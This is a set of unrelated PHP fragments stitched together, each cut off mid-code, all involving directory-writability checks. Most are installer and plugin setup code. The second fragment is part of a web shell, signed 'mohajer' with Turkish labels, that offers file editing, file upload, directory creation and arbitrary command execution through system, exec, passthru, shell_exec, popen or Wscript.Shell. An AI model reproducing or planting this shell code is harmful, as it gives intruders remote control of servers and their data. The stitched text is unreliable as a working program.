'stats' => './dynamic/stats'); foreach ($dirarr as $key => $dir) { if (dir_writeable($dir)) { $writeable[$key] = result(1, 0); } else { $writeable[$key] = result(0, 0); $ierror = $dir . ilang('forbidwrite'); } } if ($write_error) { $ierror = './base.inc.php' . ilang('forbidwrite'); } ins_header(1); echo "<table width=\"95%\" cellspacing=\"1\" bgcolor=\"#D0DBE7\" border=\"0\" align=\"center\">\n"; trheader(array(ilang('path file cname'), ilang('install want state'), ilang('system current state'))); trbasic(array('./base.inc.php', ilang('writeable'), $writeable['config']), 1); foreach ($dirarr as $k => $v) { trbasic(array($v, ilang('writeable'), $writeable[$k]), 1);
@chmod("{$mkdirs}", 0777); } } } ///////// $pathname = str_replace('\\', '/', dirname(__FILE__)); //////// if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir = $_post['dir']; $nowpath = getPath($pathname, $dir); } /////// $dir_writeable = dir_writeable($nowpath) ? "m" : "mm"; $phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; $reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\"mohajer22</a>" : ""; $tb = new FORMS(); $tb->tableheader(); $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>' . $_SERVER['HTTP_HOST'] . '</b></td><td><b>' . $mohajer . '</b></td><td align="right"><b>' . $_SERVER['REMOTE_ADDR'] . '</b></td></tr></table>', 'center', 'top'); $tb->tdbody("<FORM method='POST' action='{$REQUEST_URI}' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value=' dir ' id=input><INPUT type='submit'name='erne' value='erne ' id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>"); $tb->tablefooter(); $tb->tableheader(); $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Dosya Duzenle Yada Olustur & Dosya Yukle & Dizin Olustur</b></td></tr></table>', 'center', 'top'); $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); $tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>Dosya Duzenle weya Olustur:</FONT>' . $tb->makehidden('dir', getcwd()) . ' ' . $tb->makeinput('editfile') . ' ' . $tb->makeinput('Edit', 'Duzenle', '', 'submit'))); $tb->headerform(array('action' => '?dir=' . urlencode($dir), 'enctype' => 'multipart/form-data', 'content' => '<FONT COLOR=#9C9C9C>Dosya Yukle:</FONT>' . $tb->makeinput('uploadfile', '', '', 'file') . ' ' . $tb->makeinput('doupfile', 'Ekle', '', 'submit') . $tb->makeinput('uploaddir', $dir, '', 'hidden'))); $tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>Dizin Olustur:</FONT> ' . $tb->makeinput('newdirectory') . ' ' . $tb->makeinput('createdirectory', 'yenidizin', '', 'submit'))); $execfuncs = substr(PHP_OS, 0, 3) == 'WIN' ? array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen', 'wscript' => 'Wscript.Shell') : array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen'); $tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>cmd:</FONT>' . $tb->makeselect(array('name' => 'execfunc', 'option' => $execfuncs, 'selected' => $execfunc)) . ' ' . $tb->makeinput('command') . ' ' . $tb->makeinput('Run', 'command', '', 'submit')));
} include "../include/db_mysql.class.php"; include "../include/template.class.php"; include 'install.func.php'; $options = array('template_dir' => './', 'cache_dir' => './', 'auto_update' => true, 'cache_lifetime' => 0); $template = Template::getInstance(); $template->setOptions($options); $s0 = file_writeable("../config.inc.php"); $s1 = dir_writeable("../include/cache"); $s2 = dir_writeable("../attachments/head"); $s3 = dir_writeable("../attachments/usertemplates"); $s4 = dir_writeable("../attachments/photo"); $s5 = dir_writeable("../templates/cache"); $s6 = dir_writeable("../admin/backup"); $s7 = dir_writeable("../admin/templates/cache"); $s8 = dir_writeable("../admin/themetemp"); if (($s0 != 1 || $s1 != 1 || $s2 != 1 || $s3 != 1 || $s4 != 1 || $s5 != 1 || $s6 != 1 || $s7 != 1 || $s8 != 1) && $step != 1) { header("location: install.php?step=1"); exit; } if ($action == "checkinstall") { $server = $_POST['server']; $datauname = $_POST['datauname']; $dataupass = $_POST['dataupass']; $database = $_POST['database']; $webadd = $_POST['webadd']; $link = @mysql_connect($server, $datauname, $dataupass, 1); $connnect = $link && @mysql_select_db($database, $link) ? 'yes' : 'no'; if ($connnect == "yes") { $fp = fopen("../config.inc.php", "w"); fputs($fp, "<?php\n");
function dircheck($diritems) { foreach ($diritems as $key => $item) { $item_path = $item['path']; if ($item['type'] == 'dir') { if (!dir_writeable(admin_ROOT . $item_path)) { $diritems[$key]['status'] = 0; $diritems[$key]['current'] = 0; } else { $diritems[$key]['status'] = 1; $diritems[$key]['current'] = 1; } } else { if (file_exists(admin_ROOT . $item_path)) { if (filemode(admin_ROOT . $item_path)) { $diritems[$key]['status'] = 1; } else { $diritems[$key]['status'] = 0; } $diritems[$key]['current'] = 1; } else { $diritems[$key]['status'] = 0; $diritems[$key]['current'] = 0; } } } return $diritems; }
if (!empty($pluginarray['plugin']['name'])) { $entryversion = dhtmlspecialchars($pluginarray['plugin']['version']); if (strexists(strtolower($entryversion), 'vip')) { //vip版本 $zend_check = zend_check(); if ($zend_check == -1) { cpmsg_error(temp_lang('http_visit', array('file' => PICK_URL . '/zend/zendcheck.php'))); } else { if ($zend_check == -2) { cpmsg_error(temp_lang('zend_enable')); } } } } } if (!dir_writeable(PICK_PATH . '/data/cache')) { cpmsg_error(temp_lang('dir_no_write', array('dir' => './source/plugin/milu_pick/data/cache'))); } } } function temp_lang($langvar = null, $vars = array()) { global $_G; $key = 'milu_pick'; $returnvalue = $_G['cache']['pluginlanguage_script']; $return = $langvar !== null ? isset($returnvalue[$key][$langvar]) ? $returnvalue[$key][$langvar] : null : $returnvalue[$key]; $return = $return === null ? $default !== null ? $default : $langvar : $return; $searchs = $replaces = array(); if ($vars && is_array($vars)) { foreach ($vars as $k => $v) { $searchs[] = '{' . $k . '}';